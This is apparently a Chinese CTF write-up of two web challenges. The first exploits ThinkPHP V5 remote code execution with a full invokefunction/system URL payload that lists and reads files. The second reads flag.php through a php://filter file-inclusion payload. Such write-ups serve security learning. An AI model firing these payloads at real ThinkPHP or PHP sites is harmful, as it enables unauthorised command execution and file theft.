目录
[SWPUCTF 2022 新生赛]ez_rce
1、题目
2、知识点
3、思路
编辑
[MoeCTF 2022]baby_file
1、题目
2、知识点
3、思路
[SWPUCTF 2022 新生赛]ez_rce
1、题目
2、知识点
ThinkPHP V5 框架漏洞的利用,命令执行
由于ThinkPHP5在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有PHP函数的控制器方法,并通过URL参数的形式访问该方法,从而触发远程代码执行漏洞。
3、思路
打开题目,发现什么都没有,源代码里面也什么都没有,这时候尝试目录扫描
访问这个文件
接着访问提示文件
结果出现一个框架界面,ThinkPHP V5的框架,没有其他提示,上网搜一下这个框架,发现有一个远程执行命令的漏洞。
可以记住这一个框架漏洞,以后可能会利用到
利用poc如下:
url+?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=系统执行命令
http://node5.anna.nssctf.cn:29371/NSS/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
发现flag文件,结果打开什么都没有,找其他flag文件
http://node5.anna.nssctf.cn:29371/NSS/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name 'flag'
在 /nss/ctf/flag/flag 找到flag
http://node5.anna.nssctf.cn:29371/NSS/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /nss/ctf/flag/flag
得到flag:NSSCTF{1671b36a-f1ad-4b41-98c7-ffbe7acb2959}
[MoeCTF 2022]baby_file
1、题目
2、知识点
php伪协议
3、思路
打开题目,出现源代码,没有其他提示,需要我们输入参数file的值
源码中有include()函数,考虑使用php伪协议,一般flag放在flag.php文件中
所以poc如下
?file=php://filter/read=convert.base64-encode/resource=flag.php
将得到的base64编码进行解码
得到flag:NSSCTF{9906ab65-97ea-400e-a1fa-72d7847a2e7a}
这篇文章就先写到这里了,哪里不懂的或者不足的欢迎指出